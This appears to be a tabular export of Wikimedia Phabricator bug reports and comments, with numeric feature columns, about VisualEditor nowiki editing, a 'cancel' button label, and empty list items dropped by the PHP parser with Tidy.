*** This bug has been marked as a duplicate of bug 48017 ***",,,1368639099,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-k5ivcykbmehlps6rrqj3,task_subcomment,,True,c1,1,True,,,-7,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7777777777777777,0.6666666666666666,"

*** This bug has been marked as a duplicate of bug 48017 ***"
49678,VisualEditor: Support editing nowiki blocks,"If users can't edit in nowiki blocks, they will make accidental wikitext-like items and be forever unable to edit them in future.

--------------------------
**Version**: unspecified
**Severity**: enhancement",Medium,50.0,1366930860,1374262258.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-vhod5j4lmpp5giw7zjlk,task_description,resolved,True,c1,1,True,False,True,-10,,0.0,0.0,0.0,0.0,2.0,11.0,2.0,0.0,0.0,2.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,9.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,7.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,4.0,9.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.111111111111111,0.7555555555555555,"If users can't edit in nowiki blocks, they will make accidental wikitext-like items and be forever unable to edit them in future.

--------------------------
**Version**: unspecified
**Severity**: enhancement"
228363,VisualEditor: Support editing nowiki blocks,*** Bug 51950 has been marked as a duplicate of this bug. ***,,,1374879593,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-vhod5j4lmpp5giw7zjlk,task_subcomment,,True,c1,3,True,,,3,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 51950 has been marked as a duplicate of this bug. ***
228355,VisualEditor: Support editing nowiki blocks,Done and merged.,,,1374262258,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-vhod5j4lmpp5giw7zjlk,task_subcomment,,True,c1,3,True,,,2,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,1.0,Done and merged.
228347,VisualEditor: Support editing nowiki blocks,"Change 74107 merged by jenkins-bot:
Add a node class for mw:Nowiki

https://gerrit.wikimedia.org/r/74107",,,1374261100,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-vhod5j4lmpp5giw7zjlk,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,21.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,11.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,3.6315789473684212,0.9473684210526315,"Change 74107 merged by jenkins-bot:
Add a node class for mw:Nowiki

GERRIT_URL"
228342,VisualEditor: Support editing nowiki blocks,"Change 74107 had a related patch set uploaded by Catrope:
Add a node class for mw:Nowiki

https://gerrit.wikimedia.org/r/74107",,,1374027032,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-vhod5j4lmpp5giw7zjlk,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,23.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,9.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,3.909090909090909,0.9090909090909091,"Change 74107 had a related patch set uploaded by Catrope:
Add a node class for mw:Nowiki

GERRIT_URL"
228337,VisualEditor: Support editing nowiki blocks,"Theoretically users should never know something's been <nowiki>'ed - possibly we could just silently drop them and Parsoid re-applies them automatically on save?

(This assumes we can rely on Parsoid to do this with no or very few false negatives - false positives, which we already have a little of, wouldn't be a huge problems for VE users.)",,,1366931455,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-vhod5j4lmpp5giw7zjlk,task_subcomment,,True,c1,1,True,,,-10,,1.0,1.0,1.0,0.0,1.0,7.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,4.0,0.0,13.0,10.0,1.0,1.0,1.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,1.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,4.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,7.0,0.0,3.0,9.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,10.0,6.0,1.0,0.0,0.0,7.0,0.0,1.0,3.0,3.0,0.0,0.0,0.0,1.0,4.1,0.8428571428571429,"Theoretically users should never know something's been <nowiki>'ed - possibly we could just silently drop them and Parsoid re-applies them automatically on save?

(This assumes we can rely on Parsoid to do this with no or very few false negatives - false positives, which we already have a little of, wouldn't be a huge problems for VE users.)"
228332,VisualEditor: Support editing nowiki blocks,*** Bug 47677 has been marked as a duplicate of this bug. ***,,,1366930915,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-vhod5j4lmpp5giw7zjlk,task_subcomment,,True,c1,1,True,,,-10,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 47677 has been marked as a duplicate of this bug. ***
49676,VisualEditor: Re-label the 'cancel' toolbar message to 'exit without saving',"The 'cancel' message is used confusingly.

I only noticed it recently. I know of two places where it is used, though there may be more:

1. As a link near the ""Show changes"" button when editing a page.

2. As a button near the ""Review and save"" button in the VisualEditor.

In both cases it's better to say something like ""Exit without saving"". The ""Cancel"" button is usually used in dialog boxes and not in editors' user interfaces.

The message may be used in other places and in extensions, so it's probably better not to change it. For these actions a new message should be created, or maybe even two messages.

--------------------------
**Version**: unspecified
**Severity**: trivial",Medium,50.0,1366929720,1368804205.0,PHID-USER-xfe43w2lb5gpvglf4coa,False,,False,PHID-TASK-h6knxqbqokuwzylojsm7,task_description,declined,True,c1,1,False,False,True,-10,,0.0,0.5,0.0,3.0,1.0,4.0,0.5,0.0,0.5,0.0,4.5,1.5,0.0,0.5,0.5,1.0,0.0,6.5,10.0,0.5,1.0,0.5,0.0,0.0,0.5,0.0,0.0,1.0,1.0,0.0,0.0,3.0,1.5,2.5,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,2.5,0.0,0.5,0.0,0.0,0.0,13.0,0.0,0.5,0.0,0.5,1.0,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.5,0.5,0.5,0.0,5.5,3.5,9.0,2.0,2.5,6.5,0.0,0.0,0.0,0.0,3.5,0.0,1.0,0.0,3.5,10.0,1.5,0.0,6.0,0.0,3.5,0.0,1.0,2.0,0.0,1.0,1.5,0.0,1.0,3.61658950617284,0.6770061728395063,"The 'cancel' message is used confusingly.

I only noticed it recently. I know of two places where it is used, though there may be more:

1. As a link near the ""Show changes"" button when editing a page.

2. As a button near the ""Review and save"" button in the VisualEditor.

In both cases it's better to say something like ""Exit without saving"". The ""Cancel"" button is usually used in dialog boxes and not in editors' user interfaces.

The message may be used in other places and in extensions, so it's probably better not to change it. For these actions a new message should be created, or maybe even two messages.

--------------------------
**Version**: unspecified
**Severity**: trivial"
228224,VisualEditor: Re-label the 'cancel' toolbar message to 'exit without saving',Indeed. :-),,,1406470421,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-h6knxqbqokuwzylojsm7,task_subcomment,,True,c1,3,True,,,55,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3333333333333335,1.0,Indeed. :-)
228219,VisualEditor: Re-label the 'cancel' toolbar message to 'exit without saving',"Hehe, it was removed eventually :)",,,1406457643,,PHID-USER-xfe43w2lb5gpvglf4coa,False,,,PHID-TASK-h6knxqbqokuwzylojsm7,task_subcomment,,True,c1,3,False,,,55,,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,14.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.142857142857143,1.0,"Hehe, it was removed eventually :)"
228214,VisualEditor: Re-label the 'cancel' toolbar message to 'exit without saving',"Deciding to WONTFIX this, per discussion above. Hopefully it will be more understandable anyway, given the forthcoming changes to the save dialog.",,,1368804205,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-h6knxqbqokuwzylojsm7,task_subcomment,,True,c1,1,True,,,-7,,0.0,0.0,0.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,12.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,4.8076923076923075,0.8461538461538461,"Deciding to WONTFIX this, per discussion above. Hopefully it will be more understandable anyway, given the forthcoming changes to the save dialog."
228209,VisualEditor: Re-label the 'cancel' toolbar message to 'exit without saving',"I read your concern, Amir, and my opinion is similar to that of James. In computer interaction, clicking a button that says Cancel will end the current action (in this case editing a page) without actually committing the changes that the actor made. I see no deviation from that paradigm in the two use cases you describe.

I think we shoild close this issue without implementing the suggestion made.",,,1366959308,,PHID-USER-w5a723w3wes6jd5wskgg,False,,,PHID-TASK-h6knxqbqokuwzylojsm7,task_subcomment,,True,c1,1,False,,,-10,,0.0,0.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,6.0,3.0,3.0,10.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,1.0,8.0,3.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,5.0,0.0,1.0,1.0,1.0,0.0,15.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,1.0,1.0,0.0,9.0,1.0,9.0,0.0,1.0,15.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,9.0,10.0,4.0,0.0,0.0,0.0,9.0,0.0,3.0,3.0,0.0,5.0,0.0,0.0,0.0,4.215189873417722,0.759493670886076,"I read your concern, Amir, and my opinion is similar to that of James. In computer interaction, clicking a button that says Cancel will end the current action (in this case editing a page) without actually committing the changes that the actor made. I see no deviation from that paradigm in the two use cases you describe.

I think we shoild close this issue without implementing the suggestion made."
228204,VisualEditor: Re-label the 'cancel' toolbar message to 'exit without saving',"Worry that this is a bit long for users, and ""cancel"" is used in the dialog sense (they entered an editor, this cancels that edit) but I can see your point.

(BTW, your two descriptions are for the same button, unless I'm missing something?)",,,1366934934,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-h6knxqbqokuwzylojsm7,task_subcomment,,True,c1,1,True,,,-10,,0.0,2.0,0.0,2.0,0.0,3.0,3.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,3.0,0.0,0.0,9.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,10.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,14.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,5.0,7.0,3.0,3.0,12.0,0.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,9.0,9.0,2.0,2.0,3.0,0.0,9.0,0.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,3.4310344827586206,0.7758620689655172,"Worry that this is a bit long for users, and ""cancel"" is used in the dialog sense (they entered an editor, this cancels that edit) but I can see your point.

(BTW, your two descriptions are for the same button, unless I'm missing something?)"
49673,Empty list items goes missing in the PHP parser when tidy is enabled,"Take a look at the URL.

When you see the output page, the list has three items. If you edit it in the source editor, you'll see that there's an extra empty item in the end of the list. If you edit it in the VisualEditor, you'll see it rendered.

The VisualEditor behavior actually makes more sense to me. Gabriel Wicke suggested on IRC to open this issue at the PHP parser.

--------------------------
**Version**: 1.22.0
**Severity**: normal
**URL**: https://www.mediawiki.org/wiki/VisualEditor:Empty_list_item",Medium,50.0,1366928220,1494287494.0,PHID-USER-xfe43w2lb5gpvglf4coa,False,PHID-USER-slccyo5rqasgpljxny7g,False,PHID-TASK-cv5eyk43xupkutrvi7fo,task_description,resolved,True,c1,1,False,False,False,-10,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,1.5,1.5,0.0,0.0,0.5,1.0,0.0,1.5,7.5,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.5,0.0,3.5,3.0,2.0,1.0,2.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.5,12.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,6.5,0.0,12.0,2.0,0.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,1.5,0.0,5.5,7.5,5.5,0.0,0.0,0.0,5.5,0.0,0.5,1.0,1.0,0.0,1.0,0.0,0.0,3.428571428571429,0.6339285714285714,"Take a look at the URL.

When you see the output page, the list has three items. If you edit it in the source editor, you'll see that there's an extra empty item in the end of the list. If you edit it in the VisualEditor, you'll see it rendered.

The VisualEditor behavior actually makes more sense to me. Gabriel Wicke suggested on IRC to open this issue at the PHP parser.

--------------------------
**Version**: 1.22.0
**Severity**: normal
**URL**: URL"
856266,Empty list items goes missing in the PHP parser when tidy is enabled,"The goal of fixing templates to not emit empty list items in the first place ( T49673#1827449 ) is not in sight. For now, the core part of this ticket has been addressed. Empty elements no longer go missing with Tidy which means we can replace Tidy without worry about breaking rendering because of this.

Longer term, we should migrate to a CSS3 fix of li:empty { display:none; } and remove the mw-empty-elt class.",,,1494287494,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-cv5eyk43xupkutrvi7fo,task_subcomment,,True,c1,3,True,,,201,,0.0,0.0,0.0,1.0,2.0,9.0,1.0,1.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,6.0,14.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,20.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,6.0,2.0,9.0,1.0,1.0,9.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,2.0,14.0,4.0,0.0,0.0,0.0,2.0,0.0,1.0,1.0,0.0,2.0,1.0,0.0,0.0,3.811111111111111,0.7888888888888889,"The goal of fixing templates to not emit empty list items in the first place ( T49673#1827449 ) is not in sight. For now, the core part of this ticket has been addressed. Empty elements no longer go missing with Tidy which means we can replace Tidy without worry about breaking rendering because of this.

Longer term, we should migrate to a CSS3 fix of li:empty { display:none; } and remove the mw-empty-elt class."
568161,Empty list items goes missing in the PHP parser when tidy is enabled,"It would be easier to fix such templates if we finally got around to allowing blank lines between list items without breaking the list. This has been requested very often, although unfortunately the narrower, more sensible proposals on the subject (e.g. T11342, T35918, T15223) have been closed as duplicates in favour of the more aggressive proposal T3115.",,,1448405507,,PHID-USER-k6tmz5ylx4rzfl3bitse,False,,,PHID-TASK-cv5eyk43xupkutrvi7fo,task_subcomment,,True,c1,3,True,,,125,,0.0,0.0,2.0,3.0,0.0,9.0,2.0,0.0,2.0,2.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,12.0,15.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,15.0,2.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,5.0,9.0,3.0,0.0,8.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,15.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,4.630769230769231,0.8307692307692308,"It would be easier to fix such templates if we finally got around to allowing blank lines between list items without breaking the list. This has been requested very often, although unfortunately the narrower, more sensible proposals on the subject (e.g. T11342, T35918, T15223) have been closed as duplicates in favour of the more aggressive proposal T3115."
567644,Empty list items goes missing in the PHP parser when tidy is enabled,"It would be easier to fix such templates if we finally got around to allowing blank lines between list items without breaking the list. This has been requested very often, although unfortunately the narrower, more sensible proposals on the subject (e.g. T11342, T35918) have been closed as duplicates in favour of the more aggressive proposal T3115.",,,1448346652,,PHID-USER-k6tmz5ylx4rzfl3bitse,False,,,PHID-TASK-cv5eyk43xupkutrvi7fo,task_subcomment,,True,c1,3,True,,,125,,0.0,0.0,2.0,3.0,0.0,10.0,2.0,0.0,2.0,2.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,13.0,16.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,16.0,2.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,5.0,8.0,3.0,0.0,8.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,16.0,5.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,4.666666666666667,0.8412698412698413,"It would be easier to fix such templates if we finally got around to allowing blank lines between list items without breaking the list. This has been requested very often, although unfortunately the narrower, more sensible proposals on the subject (e.g. T11342, T35918) have been closed as duplicates in favour of the more aggressive proposal T3115."
567638,Empty list items goes missing in the PHP parser when tidy is enabled,">>! In T49673#1776557, @Jonesey95 wrote:
> I don't have the gerrit skills to parse the code to understand whether this change will allow a page to emit a tracking category specific to monitor articles and templates that need to be updated. If it will, some instruction would be helpful. If it currently will not, please make whatever code modification is necessary to allow a page to emit such a tracking category. Thank you. 

There's no tracking category at the moment. I wanted to assess it myself, to determine the size of the problem, before creating task lists for others to work through.

[[https://www.mediawiki.org/wiki/User:Tim_Starling/Empty-li-log|Here is a log sample]] from parsoid listing some supposedly empty <li> elements. I have analysed some of them.

[[https://en.wikipedia.org/w/index.php?title=Template:Europe_topic&oldid=675002623&action=edit |Here is a notable example]] of a template which depends on empty li removal. This navbox template allows the removal of countries from Europe depending on parameters. For example if you consider Germany to not be part of Europe, you can use {{Europe topic|DE=}} to make a navbox which omits the relevant list item. Note that you can't just take the asterisk inside the #if, because that would create paragraph breaks between adjacent list items. It could be done by taking the line break inside the #if, or by removing all the line breaks and using HTML-style <li> input.

",,,1448343599,,PHID-USER-k6tmz5ylx4rzfl3bitse,False,,,PHID-TASK-cv5eyk43xupkutrvi7fo,task_subcomment,,True,c1,3,True,,,125,,1.5,0.0,0.0,0.5,1.0,2.5,1.0,0.5,0.0,1.5,0.0,0.5,0.0,0.0,0.5,1.5,0.0,3.0,15.0,0.0,2.5,0.0,0.0,0.0,0.5,0.0,0.0,1.0,1.0,0.5,1.0,4.0,1.5,1.0,0.0,1.5,0.0,0.0,1.5,1.0,0.5,0.5,0.0,1.0,0.5,0.0,0.0,0.0,0.5,20.0,0.5,0.5,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.5,0.5,0.0,0.0,1.0,0.0,7.0,2.0,8.0,2.5,1.0,11.5,0.0,0.0,0.0,1.0,5.0,0.0,0.0,0.0,4.5,15.0,4.0,0.0,0.0,0.0,4.5,0.0,1.0,2.0,1.0,3.0,0.0,0.0,4.0,3.8167763157894736,0.6860197368421053,"QUOTE
QUOTE

There's no tracking category at the moment. I wanted to assess it myself, to determine the size of the problem, before creating task lists for others to work through.

[[URL is a log sample]] from parsoid listing some supposedly empty <li> elements. I have analysed some of them.

[[URL |Here is a notable example]] of a template which depends on empty li removal. This navbox template allows the removal of countries from Europe depending on parameters. For example if you consider Germany to not be part of Europe, you can use {{Europe topic|DE=}} to make a navbox which omits the relevant list item. Note that you can't just take the asterisk inside the #if, because that would create paragraph breaks between adjacent list items. It could be done by taking the line break inside the #if, or by removing all the line breaks and using HTML-style <li> input.

"
563930,Empty list items goes missing in the PHP parser when tidy is enabled,"Change 253514 merged by jenkins-bot:
Add 'mobile' target to 'mediawiki.raggett' module

[[https://gerrit.wikimedia.org/r/253514]]",,,1447723607,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-cv5eyk43xupkutrvi7fo,task_subcomment,,True,c1,3,False,,,124,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,8.0,12.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,3.72,0.8,"Change 253514 merged by jenkins-bot:
Add 'mobile' target to 'mediawiki.raggett' module

[[GERRIT_URL]]"
563898,Empty list items goes missing in the PHP parser when tidy is enabled,"Change 253514 had a related patch set uploaded (by Legoktm):
Add 'mobile' target to 'mediawiki.raggett' module

[[https://gerrit.wikimedia.org/r/253514]]
",,,1447721409,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-cv5eyk43xupkutrvi7fo,task_subcomment,,True,c1,3,False,,,124,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,13.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,7.0,7.0,0.0,13.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,3.7666666666666666,0.8,"Change 253514 had a related patch set uploaded (by Legoktm):
Add 'mobile' target to 'mediawiki.raggett' module

[[GERRIT_URL]]
"
563405,Empty list items goes missing in the PHP parser when tidy is enabled,"The CSS trick for do not display element with //mw-empty-li// class works only for Desktop, not in mobile version.

It's possible in this transitory period hide the empty list elements also in mobile site? Thanks

